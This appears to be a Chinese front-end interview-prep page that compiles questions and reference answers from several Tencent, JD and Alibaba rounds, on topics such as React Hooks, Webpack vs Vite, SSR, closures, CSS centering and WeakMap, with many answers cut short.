作为校招生，回答"为什么选择前端"时要避免空喊"热爱"或跟风，建议用具体经历+能力匹配+行业洞察的三段式结构，既体现思考深度又展示成长潜力。

参考答案

以下是分场景的高分回答模板：

版本一：技术驱动型（适合有项目经历的同学）

“选择前端源于两次关键经历：

大一用Vue重构学院官网时，发现通过组件化开发能将设计稿像素级还原，这种’所见即所得’的即时反馈让我着迷；

在实习中做低代码平台时，用React+D3.js实现拖拽生成图表，体会到前端不仅是实现UI，更是连接用户与数据的桥梁。
前端技术迭代快（如WebAssembly、微前端）的特点，恰好匹配我热衷通过技术解决实际问题的性格。贵司的XX业务（如电商/数据可视化）对交互体验要求极高，我的XX项目经验（举例）能快速落地。”

版本二：用户导向型（适合非科班转行的同学）

“虽然我是工业设计专业，但大三时用Figma做APP原型时，发现静态设计无法验证用户真实体验。于是自学Three.js做了3D产品展示页，通过A/B测试发现3D交互使用户停留时长提升40%。这让我意识到：前端是设计落地的’最后一公里’。
前端独有的**‘技术+设计+心理学’交叉属性**（如用Framer-motion设计微交互引导用户操作），让我能用代码延续设计价值。贵司注重用户体验（如引用官网案例），我的设计背景+代码能力能提供差异化视角。”

版本三：行业趋势型（适合技术视野广的同学）

“选择前端是因为它是最接近技术变革一线的领域：

云原生时代：前端从浏览器扩展到全端（如Electron桌面应用、小程序）；

AI赋能：WebGL+TF.js让前端直接运行AI模型（如实时人脸检测）；

IoT场景：前端技术控制智能家居（如用WebSerial协议与硬件通信）。
我在开源项目参与过WebRTC实时互动功能开发，体会到前端工程师正在定义下一代人机交互标准。贵司的XX业务（如智能硬件/元宇宙）正处于这些趋势的交汇点，我的XX技能（如WebGL/跨端开发）能直接贡献。”

避坑提示

不要只说"喜欢 visible 的结果"：改为**“享受从像素级还原到性能优化的全链路挑战”**（体现技术深度）。
避免"前端简单"的刻板印象：改为**“前端是工程复杂度最高的领域之一，需同时处理兼容性、状态管理、性能优化多端适配”**（展示认知）。
关联公司业务：提前研究官网/技术博客，比如：“注意到贵司用Next.js重构了主站，我对其中SSG/ISR的SEO优化策略很感兴趣”（体现调研）。

最后，用成长型结尾强化潜力：“作为校招生，我清楚自己缺乏高并发场景经验，但已系统学习Chrome DevTools性能分析，并模拟过百万级PV的SSR优化（举例），期待在贵司的实际业务中深化这些能力。”

2. 框架理解 - Nest.js设计思想

题目要点

分层架构、功能增强、多种设计模式应用

参考答案

Nest.js基于Express或Fastify进行封装，采用分层架构设计。底层HTTP服务器提供基础的请求处理能力，Nest.js在此基础上添加了依赖注入、装饰器、模块化等企业级特性。这确实类似装饰器模式，每一层都在不改变核心功能的前提下增强框架能力。

除了装饰器模式，还了解观察者模式（发布-订阅），常用于事件系统和状态管理；工厂模式，用于创建不同类型的对象实例；单例模式，确保全局唯一实例等。

3. 闭包概念和产生原因

题目要点

词法作用域、变量访问权限、执行环境保持

参考答案

闭包是指函数能够访问其外部作用域变量的特性。产生闭包的原因是JavaScript的词法作用域机制，函数在定义时就确定了可访问的变量范围，即使在其他执行环境中调用也能保持这种访问能力。

function createCounter() {
 let count = 0;
 return function() {
 return ++count;
 };
}

const counter = createCounter();
console.log(counter()); // 1
console.log(counter()); // 2

4. 闭包内存问题及解决方案

题目要点

引用保持、垃圾回收阻塞、手动清理、变量提取

腾讯-CSIG一校招 · 第 1 轮 · 第二轮

Mon, 28 Jul 2025 14:52:54 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮概述： 第二轮对技术深度有一定的考察。对构建工具有深入理解，能够分析技术选型原因掌握React核心概念和性能优化技巧具备网络协议和安全知识代码实现能力强，能够设计合理的算法和架构理解设计模式在实际场景中的应用

本轮共 14 道题。答案默认折叠，便于先自行作答。

1. Node中间件的作用和使用

题目要点

请求拦截处理、横切关注点、链式执行、功能解耦

参考答案

中间件是在请求和响应之间执行的函数，用于处理横切关注点。在Express/Nest.js中，中间件按顺序执行，每个中间件可以修改请求对象、响应对象，或者终止请求-响应循环。

常用的中间件包括：

身份验证中间件：验证用户token
日志中间件：记录请求信息
错误处理中间件：统一处理异常
CORS中间件：处理跨域请求
参数验证中间件：验证请求参数格式

2. 大模型的理解和应用

题目要点

语言模型、涌现能力、开发辅助、安全考虑

参考答案

大模型是基于Transformer架构的深度学习模型，通过大规模数据训练获得强大的语言理解和生成能力。主要特点是参数量巨大、涌现能力强、通用性好。

在开发中的应用：

代码生成和补全：提高开发效率
文档生成：自动生成API文档和注释
代码审查：发现潜在问题和优化建议
需求分析：辅助理解业务逻辑

使用时需要注意数据安全、结果准确性验证、成本控制等问题。

3. Webpack vs Vite 的理解和区别

题目要点

构建原理差异、性能表现、生态成熟度、配置复杂度

参考答案

Webpack是基于模块打包的构建工具，通过入口文件分析依赖关系，将所有资源打包成bundle。Vite是基于ES模块的构建工具，开发时利用浏览器原生ES模块支持，生产时使用Rollup打包。

主要区别：

启动速度：Vite利用ES模块按需加载，启动更快；Webpack需要预先打包
热更新：Vite基于ES模块的HMR更精确；Webpack需要重新打包相关模块
生态系统：Webpack生态更成熟，插件丰富；Vite相对较新但发展迅速
配置复杂度：Vite开箱即用，配置简单；Webpack配置相对复杂

4. 项目选择构建工具的考虑

题目要点

开发体验优先、项目延续性、团队熟悉度、稳定性考虑

参考答案

个人项目选择Vite主要考虑开发体验，启动快、热更新迅速，配置简单，适合快速原型开发。实习项目使用Webpack主要因为：

历史项目延续性，已有完整的配置和工作流
团队熟悉度高，维护成本低
生态系统成熟，特殊需求的插件支持更好
大型项目的稳定性考虑

5. Vite 开发环境与生产环境差异

题目要点

按需加载vs完整打包、开发体验vs生产优化、不同构建工具

参考答案

开发环境：

京东-零售-实习 · 第 1 轮 · 第一轮

Mon, 28 Jul 2025 14:15:34 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

4. 当前项目还有哪些可以优化的地方

题目要点

从性能、体验、质量三个维度分析优化空间，体现对项目全局的思考和持续改进意识。

阿里巴巴-社招-5年 · 第 1 轮 · HR面

Mon, 28 Jul 2025 13:18:04 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

略

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

阿里巴巴-社招-5年 · 第 1 轮 · 三面

Mon, 28 Jul 2025 13:14:50 +0000

← 第 1 轮 · 返回本次面经 · 第 1 轮 →

一、考察点

理解性能优化的投入与收益关系
掌握定量和定性评估性能优化效果的方法
了解业务指标与性能指标的关联性
能结合项目实际情况合理规划和衡量优化价值

二、参考答案

2.1 ROI 的定义与核心思想

ROI（Return on Investment）即“投资回报率”，衡量投入资源与产出收益的比率
性能优化的 ROI 评估即衡量优化投入（时间、人力、成本）与带来的业务或技术收益是否成正比
目标是确保资源有效利用，避免盲目优化

2.2 性能优化投入的量化

开发成本：开发和测试性能优化方案所需的人力、时间
基础设施成本：可能新增的硬件资源或第三方服务开销
维护成本：优化方案上线后的维护和升级投入

2.3 性能优化收益的量化

业务指标提升：如转化率、用户留存率、页面访问量、用户满意度等
技术指标改善：首屏时间（FCP）、最大内容渲染时间（LCP）、交互响应时间、错误率降低等
运营成本降低：服务器压力减轻、带宽节省、用户投诉减少等

2.4 关联业务价值与性能指标

通过数据分析建立性能指标与业务指标的映射关系，比如：
- 首屏加载时间缩短 1 秒，转化率提升 5%
- 页面响应延迟减少，用户流失率降低
结合历史数据或行业调研，预估性能改进带来的经济效益

2.5 评估流程示例

明确优化目标：确定需优化的性能瓶颈和预期改进幅度
估算投入成本：评估开发时间、人力、资源等投入
预估收益：基于数据和业务指标推算收益大小
计算 ROI：收益 / 投入，判断是否值得投资
持续监控：优化上线后跟踪实际效果，调整策略

2.6 风险与非量化因素考虑

用户体验提升虽难量化，但对品牌和用户粘性极重要
竞争压力、市场趋势等外部因素可能影响 ROI
技术债务减少，长期维护成本降低也是重要收益

三、常见误区或面试陷阱

❌ 只关注技术指标优化，忽视业务价值转化
❌ 低估开发和维护成本，导致投入超出预期
❌ 盲目追求极致性能，忽略边际效益递减
❌ 缺乏数据支持，ROI 评估主观臆断

4. 项目风险遇到过哪些，怎么解决的

题目要点

略

阿里巴巴-社招-5年 · 第 1 轮 · 二面

Mon, 28 Jul 2025 13:12:16 +0000

← 第 1 轮 · 返回本次面经 · 第 1 轮 →

参考答案

一、考察点

理解 SSR 的基本概念和优势
掌握常见 SSR 实现方案及其原理
理解 SSR 与客户端渲染（CSR）的区别和协同方式
了解 SSR 在项目中的具体落地方法和技术选型

二、参考答案

2.1 SSR 的基本概念

SSR（Server-Side Rendering）是指在服务器端完成页面的 HTML 渲染，再将完整的 HTML 返回给客户端
相比纯客户端渲染，SSR 提升了首屏渲染速度和 SEO 友好性
用户拿到的是已渲染好的页面，浏览器可以更快显示内容

2.2 SSR 的优势和适用场景

首屏速度快：浏览器无需等待大量 JS 执行即可显示页面
SEO 优化：搜索引擎能抓取到完整的内容，提升排名
社交分享友好：分享链接时可显示完整预览
适合内容型或公共站点，电商、新闻、博客等场景

2.3 常见 SSR 实现方案

Next.js（React）：提供开箱即用的 SSR 支持和静态生成
Nuxt.js（Vue）：Vue 生态的 SSR 框架，支持服务端渲染和静态导出
自研 SSR：使用 Node.js 搭配 ReactDOMServer 或 Vue SSR API 手动实现
传统模板引擎：如 EJS、Handlebars 等，服务器渲染 HTML

2.4 我们项目中 SSR 的实现方式

使用了 [Next.js / Nuxt.js / 自研 SSR] 作为 SSR 框架
服务器通过 Node.js 环境调用 ReactDOMServer.renderToString 或 Vue SSR 的 renderToString，生成完整 HTML
结合路由系统，实现根据请求 URL 渲染对应页面
页面返回时携带初始数据（通过服务端数据预取），客户端接管 Hydration，实现页面交互
结合缓存策略，优化性能和响应速度
配合 Webpack 和 Babel，保证服务端代码和客户端代码一致性

2.5 实现过程中需注意的问题

服务端和客户端代码共享及差异处理（避免浏览器 API 直接调用）
初始数据的获取与注入，保证页面完整性和交互
处理样式加载，避免闪烁（FOUC）
性能优化，如页面缓存、资源压缩和异步加载
服务器负载和扩展性考虑

三、常见误区或面试陷阱

❌ 认为 SSR 只是在服务器渲染静态 HTML，忽略客户端 Hydration
❌ 忽视服务端渲染的性能开销和状态同步难题
❌ 直接复用客户端代码，未处理服务端无 DOM 的环境差异
❌ 忽略 SEO 以外的性能和用户体验提升点

8. 项目中使用了哪些状态管理工具？为什么选择这些工具

题目要点

状态管理工具选择基于项目规模、团队经验和性能需求
Redux 适合大型复杂应用，MobX 适合响应式需求
Context 适合轻量局部状态管理
结合工具生态和中间件支持，提升开发效率和维护性
合理划分全局与局部状态，避免状态管理复杂化

参考答案

一、考察点

理解不同状态管理工具的特点及适用场景
掌握项目中选择状态管理工具的决策逻辑
能清晰阐述所选工具带来的优势和解决的问题
了解状态管理的基本概念和复杂度控制方法

二、参考答案

2.1 项目中使用的状态管理工具

Redux
- 适用于大型复杂应用，状态集中管理
- 具备时间旅行调试、可预测状态变更、丰富中间件生态
MobX
- 响应式状态管理，自动追踪依赖，适合数据驱动视图更新
- 代码简洁，学习曲线较低
React Context + useReducer/useState
- 轻量级状态共享方案，适合中小型或局部状态管理
Recoil / Zustand / Valtio 等轻量方案
- 现代灵活的状态管理，适合部分场景需求
Vuex（Vue 项目）
- Vue 官方状态管理库，集中管理全局状态，支持插件扩展

2.2 选择这些工具的理由

项目规模与复杂度

阿里巴巴-社招-5年 · 第 1 轮 · 一面

Mon, 28 Jul 2025 12:42:07 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

参考答案

一、考察点

探查候选人对 Vue 核心原理、语法机制的理解深度
判断是否具备实战经验、组件开发能力、性能优化能力
涵盖响应式系统、组件通信、生命周期、指令系统、虚拟 DOM、Diff 等关键技术点
Vue 生态栈是否熟悉，如 Vue Router、Vuex / Pinia、Composition API、Vue 3 升级等

二、参考答案

2.1 Vue 框架的整体认知

Vue 是一个 轻量、渐进式的前端框架，核心关注 View 层，易学易用，适合快速开发中大型应用
支持响应式绑定、组件化开发、指令系统、虚拟 DOM、跨平台（如 H5、小程序）

Vue 的核心组成包括：

阿里巴巴-社招-3年 · 第 1 轮 · 二面

Mon, 28 Jul 2025 12:38:24 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： react hooks、高阶组件、列表和key、react 渲染机制、react 组件设计模式、前端模块化、Webpack与Vite

本轮共 12 道题。答案默认折叠，便于先自行作答。

1. 讲一下你对Hooks 了解

题目要点

Hooks 是函数组件状态和副作用管理的新方案
常用 Hooks 有 useState、useEffect、useMemo、useCallback 等
Hook 调用必须遵循规则，保证顺序稳定
自定义 Hooks 用于逻辑复用，提高代码可维护性
理解 Hook 设计原理，有助于写出高质量 React 代码

参考答案

一、考察点

理解 React Hooks 的设计初衷与核心概念
掌握常用 Hooks（如 useState、useEffect、useMemo、useCallback 等）的作用与使用场景
理解 Hooks 规则及其背后的原理机制
认识 Hooks 对函数组件状态管理和生命周期的改进
了解自定义 Hooks 的设计思路及复用价值

二、参考答案

2.1 Hooks 的定义与设计初衷

定义：Hooks 是 React 16.8 引入的函数组件状态和副作用管理的特性
设计目标：
- 解决类组件中状态逻辑难以复用和组件嵌套过深的问题
- 让函数组件拥有类似类组件的状态和生命周期能力
- 简化组件逻辑，提升代码可读性和复用性

2.2 常用 Hooks 及其作用

Hooks	功能描述	典型使用场景
`useState`	在函数组件中声明状态变量	组件内部状态管理
`useEffect`	处理副作用（订阅、异步请求、DOM操作等）	替代类组件的生命周期钩子
`useContext`	订阅 React Context，实现跨组件数据传递	共享全局状态、主题、语言等
`useMemo`	记忆计算结果，避免不必要的重复计算	性能优化，避免昂贵计算重复执行
`useCallback`	记忆函数实例，避免子组件重复渲染	优化子组件性能，防止无意义的 props 变化
`useRef`	保存可变值，不触发组件重新渲染	访问 DOM 节点或保存不变引用

2.3 Hooks 的规则与原理

规则：
- 只能在函数组件或自定义 Hooks 中调用
- 只能顶层调用，不能在循环、条件或嵌套函数中调用，保证 Hook 调用顺序稳定
原理：React 通过维护一个 Hook 链表和调用顺序，关联 Hook 状态与对应组件实例，实现状态的持久化和更新

2.4 自定义 Hooks

将组件中可复用的状态逻辑抽象成函数
函数内部调用其他 Hooks，实现逻辑复用与拆分
提高代码复用性和可维护性

三、常见误区或面试陷阱

误用 Hook 规则，导致调用顺序不稳定
过度使用 useEffect，产生复杂副作用链和性能问题
误解 useMemo 和 useCallback 的使用时机和作用
忽略依赖项数组，导致副作用不正确执行
不了解自定义 Hooks 是普通函数，不能在其中调用 Hook 规则外的逻辑

2. 对比 Class 组件的 Mixin 模式，Hooks 如何解决逻辑复用问题？Mixin 的主要缺陷是什么

题目要点

Mixin 依赖多继承，存在命名冲突、状态污染、难维护等问题
Hooks 通过函数组合和自定义 Hook 实现逻辑复用，避免冲突和复杂继承
Hooks 提升代码可读性、维护性、测试性和类型支持
React 官方推荐使用 Hooks 替代 Mixin 模式

参考答案

一、考察点

理解 Class 组件中 Mixin 的工作方式及缺陷
掌握 Hooks 解决组件逻辑复用的机制和优势
比较两种方案在代码组织、维护性和复用性上的差异
理解现代 React 设计理念和组件开发最佳实践

二、参考答案

2.1 Mixin 模式及其缺陷

Mixin 定义：通过多个类混入（mixin）共享方法和状态，Class 组件通过继承或组合多个 mixin 实现代码复用

阿里巴巴-社招-3年 · 第 1 轮 · 一面

Mon, 28 Jul 2025 12:26:34 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： react 事件机制、React 生命周期、state 与 props

本轮共 13 道题。答案默认折叠，便于先自行作答。

1. 实现全屏水平垂直居中、宽高为屏幕宽度一半的正方形

题目要点

利用 vw 单位定义宽高，保证正方形且相对视口大小
Flexbox 和绝对定位 + transform 是常用居中方案
重置默认 margin 和设置容器高度保证布局准确
任选方案均可，Flexbox 代码简洁，绝对定位兼容性好

参考答案

一、考察点

掌握 CSS 布局基础知识
熟悉视口单位（vw、vh）的使用
理解水平垂直居中多种实现方式
了解盒模型和尺寸计算

二、参考答案

2.1 需求分析

元素宽度和高度为屏幕宽度的 50%（即 50vw）
元素是正方形，宽高相等
水平和垂直方向均居中显示
兼容主流现代浏览器

2.2 代码实现示例

方法一：使用 Flexbox

<div class="container">
 <div class="square"></div>
</div>

<style>
 html, body, .container {
 margin: 0;
 height: 100vh;
 display: flex;
 justify-content: center; /* 水平居中 */
 align-items: center; /* 垂直居中 */
 }
 .square {
 width: 50vw;
 height: 50vw; /* 保证正方形 */
 background-color: #4CAF50;
 }
</style>

方法二：使用绝对定位 + transform

<div class="square"></div>

<style>
 .square {
 position: absolute;
 top: 50%;
 left: 50%;
 width: 50vw;
 height: 50vw;
 background-color: #2196F3;
 transform: translate(-50%, -50%);
 }
 html, body {
 margin: 0;
 height: 100vh;
 }
</style>

2.3 说明

50vw 表示视口宽度的一半
Flexbox 方案利用容器的弹性布局实现简单居中
绝对定位方案通过 top:50%, left:50% 定位中心点，再用 transform 修正偏移
两种方案均保证元素在视口中央且尺寸为屏幕宽度一半的正方形

三、常见误区或面试陷阱

忽略 viewport 单位，使用百分比 % 宽高导致高度受父元素限制
使用 margin: auto 只实现水平居中，未垂直居中
transform 偏移值写错方向或单位
未重置 html, body 的 margin 和高度，导致布局异常

2. 如何通过 padding-bottom 实现自适应正方形

题目要点

百分比 padding-bottom 是相对于元素宽度计算的
设置宽度，padding-bottom 等于宽度比例即可实现宽高比
纯 CSS 实现响应式正方形，无需 JS 计算
配合 position 及 transform 可实现内部内容居中

参考答案

一、考察点

理解 CSS 盒模型及百分比 padding 的计算规则
熟悉通过内边距（padding）比例实现自适应高度的布局技巧
掌握纯 CSS 无需固定高度实现宽高比控制的方法
了解响应式设计及视口适配相关概念

二、参考答案

2.1 核心原理说明

百分比 padding 的高度计算基于元素的宽度
例如，padding-bottom: 100% 表示内边距底部高度是元素自身宽度的 100%
利用这一特性，设置一个元素的宽度，然后用 padding-bottom 来控制高度，从而实现固定宽高比（正方形为 1:1）
这种方式不依赖固定高度或 JS，纯 CSS 实现响应式正方形

2.2 具体实现方式

<div class="square"></div>

<style>
 .square {
 width: 50vw; /* 宽度为视口宽度的一半 */
 padding-bottom: 50vw; /* 内边距底部为宽度的 100%，实现高度与宽度相等 */
 background-color: #f60;
 position: relative; /* 便于放置绝对定位内容（如文字） */
 }
 /* 如果需要内部内容绝对居中，可添加： */
 .square > .content {
 position: absolute;
 top: 50%;
 left: 50%;
 transform: translate(-50%, -50%);
 }
</style>

2.3 使用场景

自适应正方形容器
图片或视频占位框
响应式卡片、图标区域布局

三、常见误区或面试陷阱

误以为 padding 百分比是基于高度计算（实际上是基于宽度）
忽略内容本身不占高度，需要通过 position: relative 和绝对定位解决内容布局
没有设置元素的 width，导致 padding 计算无意义
使用固定 height 反而破坏响应式效果

3. 若要求正方形内嵌图片保持比例且不拉伸，如何实现

题目要点

容器用 padding-bottom 创建自适应正方形
图片使用 object-fit: contain 保持比例且不拉伸
绝对定位图片居中显示，宽高100%填充容器
设置 overflow: hidden 避免溢出

参考答案

一、考察点

理解图片的默认渲染行为及尺寸适配
掌握 CSS 中图片等媒体对象的缩放控制属性（object-fit）
熟悉容器布局，确保图片在固定宽高正方形内自适应显示
了解响应式设计和兼容性考虑

二、参考答案

2.1 核心概念说明

图片默认行为：图片按原始宽高比显示，若强制设置宽高可能导致变形
object-fit 属性：用于控制替换元素（如 img、video）内容的填充方式
object-fit: contain 保持图片比例，完整显示，可能留空白
object-fit: cover 保持比例，填满容器，超出部分裁剪
结合容器尺寸和 object-fit 可灵活控制图片展示效果

2.2 具体实现示例

<div class="square">
 <img src="your-image.jpg" alt="示例图片" />
</div>

<style>
 .square {
 width: 50vw;
 padding-bottom: 50vw; /* 自适应正方形 */
 position: relative;
 overflow: hidden; /* 防止图片溢出 */
 }
 .square img {
 position: absolute;
 top: 50%;
 left: 50%;
 width: 100%;
 height: 100%;
 object-fit: contain; /* 保持比例且不拉伸 */
 transform: translate(-50%, -50%);
 }
</style>

2.3 说明

使用 padding-bottom 创建正方形容器
position: relative + position: absolute 定位图片，方便居中
图片宽高设为 100%，配合 object-fit: contain 保持原始比例且不被拉伸
overflow: hidden 防止图片超出容器边界显示
可根据需求改为 object-fit: cover 实现填充并裁剪效果

三、常见误区或面试陷阱

不设置 object-fit，直接用 width 和 height 100%，图片可能被拉伸变形
忽略容器定位，导致图片无法居中或布局错乱
未设置 overflow: hidden，图片溢出影响页面布局
误用 background-image 和 background-size，与 img 标签区别不清

4. 怎么理解回流跟重绘？什么场景下会触发？

题库原题：怎么理解回流跟重绘？什么场景下会触发？

阿里巴巴-社招-2年 · 第 1 轮 · 二面

Mon, 28 Jul 2025 12:14:53 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： call、apply和bind、性能优化、浏览器渲染过程、浏览器的缓存机制

本轮共 10 道题。答案默认折叠，便于先自行作答。

1. 假设现在有一个老项目需从React 17升级至React 18，你会怎么做

题目要点

先升级 react/react-dom 版本，再更改根渲染方式为 createRoot
理解 React 18 并发特性，调整相关组件代码
确认并升级第三方依赖，保证兼容性
充分测试，监控性能，平滑迁移

参考答案

一、考察点

理解 React 18 的新特性及其对应用的影响
掌握 React 18 升级步骤及兼容性处理
了解新版本的渲染机制变化（如并发特性）
熟悉常见问题排查与升级风险规避

二、参考答案

2.1 升级前准备

阅读官方升级指南（React 官方文档提供详尽升级说明）
检查项目依赖版本，确保 React 相关依赖（如 ReactDOM、react-scripts 等）兼容 React 18
备份代码及建立测试环境，保证升级过程可回滚

2.2 主要升级步骤

1）升级 React 和 ReactDOM 版本

npm install react@18 react-dom@18

或

yarn add react@18 react-dom@18

2）更新根节点渲染方式

React 18 引入了新的根 API：createRoot，替代 React 17 的 ReactDOM.render。

阿里巴巴-社招-2年 · 第 1 轮 · 一面

Mon, 28 Jul 2025 12:07:25 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮要点： react hooks、WeakMap 和 WeakSet

本轮共 12 道题。答案默认折叠，便于先自行作答。

1. ES6相关属性都用过那些

题目要点

熟悉 ES6 关键新特性和语法糖
了解特性设计目的，提升代码可维护性和性能
结合项目场景合理运用，避免滥用带来的副作用
使用 ESLint 及 Babel 保证兼容性和规范

参考答案

一、考察点

全面了解 ES6（ECMAScript 2015）新特性
掌握模块化、变量声明、函数、对象、数组、字符串、类、Promise 等核心特性
能说明特性使用场景、优势及与旧版本对比
具备在项目中合理应用 ES6 特性的能力

二、参考答案

1.1 变量声明

let 和 const：块级作用域，解决 var 变量提升和重复声明问题
推荐使用 const 声明常量，let 声明可变变量，避免全局污染

1.2 模板字符串（Template Literals）

使用反引号 ` 支持多行字符串和内嵌表达式 ${expr}
替代传统字符串拼接，提升可读性

1.3 解构赋值（Destructuring）

支持数组和对象解构，简化变量赋值
常用于函数参数处理、数据提取

1.4 箭头函数（Arrow Functions）

简洁函数表达式，自动绑定 this
不可作为构造函数，不绑定 arguments
常用于回调和函数简写

1.5 扩展运算符（Spread）和剩余参数（Rest）

扩展运算符 ... 用于数组和对象展开
剩余参数用于函数参数收集

1.6 对象字面量增强

属性简写、方法简写、计算属性名
支持简洁声明和动态键名

1.7 类（Class）

ES6 引入基于原型的语法糖，支持继承、构造函数、静态方法
提升面向对象编程体验

1.8 Promise 和异步编程

用于异步流程控制，解决回调地狱
支持链式调用和错误捕获

1.9 模块（Module）

import 和 export 语法，支持静态分析和按需加载
替代传统的 CommonJS、AMD 模块规范

1.10 Symbol 类型

新增基本类型，表示独一无二的值
常用于定义对象的私有属性和常量

1.11 Set 和 Map 数据结构

Set：无重复元素集合
Map：键值对集合，键可以是任意类型

1.12 Iterator 和 Generator

统一遍历接口
Generator 生成器函数，用于异步流程和惰性计算

1.13 其他

for...of 循环：遍历可迭代对象
默认参数和函数参数尾逗号
数组新增方法如 Array.from、find、findIndex

三、常见使用场景及优势

特性	使用场景	优势与改进点
`let`/`const`	代替 `var`，块级作用域变量声明	避免变量提升和作用域污染
模板字符串	拼接复杂字符串和多行文本	可读性高，减少错误
解构赋值	参数提取、数组拆包、函数返回值拆分	代码简洁，语义清晰
箭头函数	回调函数、简化函数定义	自动绑定 `this`，代码更短
扩展运算符	数组合并、对象拷贝	简化代码，避免手动循环
Promise	异步请求、链式调用	解决回调地狱，增强异步流程可读性
模块化	项目拆分、代码复用	标准化模块，支持静态分析
Set/Map	需要高效查找、去重、键值映射的场景	性能优于传统对象和数组

四、常见误区或面试陷阱

❌ 误区一：滥用箭头函数导致 `this` 绑定错误

不适合需要动态 this 的场景（如对象方法）

❌ 误区二：未充分利用解构赋值，写出冗长代码

理解解构赋值提升代码清晰度

❌ 误区三：Promise 误用未捕获异常，导致异常丢失

应正确使用 .catch 或 try...catch 包裹 async/await

2. 为什么WeakMap的键必须是对象

题目要点

WeakMap 键必须是对象，因为弱引用机制只能作用于对象
对基本类型无法进行弱引用，无法参与垃圾回收机制
WeakMap 设计用于保存对象私有数据，避免内存泄漏
与普通 Map 区别在于弱引用和不可枚举特性

参考答案

一、考察点

理解 WeakMap 的设计初衷和底层实现机制
掌握 WeakMap 与普通 Map 的区别
了解 JavaScript 垃圾回收机制与弱引用的关系
能说明 WeakMap 键限制为对象的技术原因及应用场景

二、参考答案

1.1 WeakMap 的基本概念

WeakMap 是一种键为对象，值任意的数据结构
与普通 Map 不同，WeakMap 对键对象的引用是“弱引用”
当键对象不存在其它引用时，能被垃圾回收器回收，避免内存泄漏

1.2 键必须是对象的原因

1）弱引用必须指向对象

JavaScript 的弱引用机制只能对对象类型生效
基本类型（如字符串、数字）是值类型，无法被弱引用追踪和回收

2）垃圾回收机制要求

只有对象才存在垃圾回收标记和生命周期管理
WeakMap 通过弱引用允许键对象在无外部引用时自动回收
如果允许基本类型作为键，则无法做到弱引用，违背 WeakMap 设计初衷

3）设计意图和使用场景

用于存储与对象相关联的私有数据，避免内存泄漏
例如框架中保存某个 DOM 节点的元数据，DOM 节点销毁时对应数据自动释放

1.3 WeakMap 与 Map 的区别

特性	Map	WeakMap
键类型	任意类型	只能是对象
是否可枚举	可遍历所有键值	不可遍历
引用强度	对键保持强引用，阻止垃圾回收	对键保持弱引用，不阻止垃圾回收
适用场景	普通键值映射	关联对象私有数据，自动回收

1.4 常见误区或面试陷阱

❌ 误区一：认为 WeakMap 可以用基本类型作为键

会导致运行时错误，WeakMap 只能接受对象作为键

❌ 误区二：误用 WeakMap 导致内存泄漏

忽略 WeakMap 不可遍历特性，误判数据存在与否

3. Map支持哪些非对象键

题目要点

Map 支持所有基本类型和对象作为键
包括字符串、数字、布尔值、Symbol、null、undefined
与 WeakMap 只能用对象键不同，Map 更灵活
理解键类型和对应的行为差异，避免键冲突

参考答案

一、考察点

理解 JavaScript Map 的键类型及其存储机制
掌握 Map 与 WeakMap 键的差异
了解基本类型和对象类型作为键的行为和区别
能说明非对象键在 Map 中的实际使用场景

二、参考答案

1.1 Map 键的类型支持

Map 的键可以是任意值，包括基本类型和对象类型

阿里巴巴-社招-1年 · 第 1 轮 · 二面

Mon, 28 Jul 2025 11:54:27 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： react hooks、性能优化

本轮共 10 道题。答案默认折叠，便于先自行作答。

1. 你们项目为什么选Redux而非MobX

题目要点

Redux 强调可预测性、单向数据流、纯函数 reducer，适合复杂项目
丰富的调试工具和社区中间件支持开发效率和可维护性
MobX 响应式自动追踪，适合快速开发，但隐式依赖增加调试难度
团队规模和项目复杂度是选择状态管理方案的关键因素
现代 Redux 已大幅简化，代码冗余感降低

参考答案

一、考察点

是否理解 Redux 和 MobX 两种状态管理库的设计理念与差异
是否能结合项目实际需求，论述选择某一方案的合理性
是否掌握 Redux 在复杂状态管理中的优势与局限
是否能表达对团队协作、维护性和性能的综合考虑

二、参考答案

1.1 原理说明

Redux

基于 Flux 架构思想，使用单一全局状态树（Store）
状态只读，通过派发（dispatch）纯函数（Reducer）更新状态
强调不可变数据和纯函数，方便调试和时间旅行（time-travel debugging）
侧重于可预测性和可维护性

MobX

采用响应式编程思想，通过可观察（observable）数据和自动追踪依赖实现状态同步
支持隐式状态更新，使用更接近传统面向对象编程
适合快速开发，较少样板代码

1.2 选择 Redux 的主要理由

1）明确的状态流向和可预测性

Redux 的单向数据流和纯函数 reducer 让状态变化过程清晰、易追踪
在多人协作中，可以方便定位状态更新的具体原因，减少调试成本

2）强大的开发者工具支持

Redux DevTools 提供时间旅行、快照对比、action 日志等，极大提升调试体验
有丰富的中间件生态（如 redux-thunk、redux-saga），便于处理复杂异步逻辑

3）适合大型复杂项目

状态结构复杂时，Redux 更便于组织和维护，模块化拆分 reducer 明确职责
明确的规范和社区共识，团队成员易于理解和统一编码风格

4）可测试性强

Reducer 是纯函数，易于单元测试，保证业务逻辑可靠

1.3 不选 MobX 的考虑

1）隐式依赖难以追踪

MobX 的自动依赖追踪机制带来状态变化的隐式性，可能导致调试困难
团队成员对响应式原理不熟悉时，维护成本升高

2）状态变化不够可预测

MobX 允许任意地方修改状态，可能出现难以预料的副作用
不利于实现严格的状态管理和权限控制

3）社区规范和中大型项目生态

Redux 生态成熟且社区规范丰富
MobX 在某些复杂场景下不够透明，团队风险较大

1.4 常见误区或面试陷阱

❌ 误区一：认为 MobX 性能一定优于 Redux

实际性能差异因项目而异，合理使用 Redux 也能实现优秀性能

❌ 误区二：Redux 代码一定繁琐难写

现代 Redux 工具（如 Redux Toolkit）极大简化开发体验，减少样板代码

❌ 误区三：认为 MobX 是“魔法”，不需要学习状态管理原理

响应式原理本身也需要深入理解，否则容易导致维护难题

2. 项目中提到“首屏加载优化1.5秒”，具体如何实现

题目要点

首屏加载优化核心在于减少首屏资源体积和请求数量
结合 SSR/SSG 预渲染，缩短白屏时间
动态拆分代码，懒加载非关键资源
充分利用浏览器缓存和 CDN
监控指标涵盖 FCP、TTI，持续迭代优化

参考答案

一、考察点

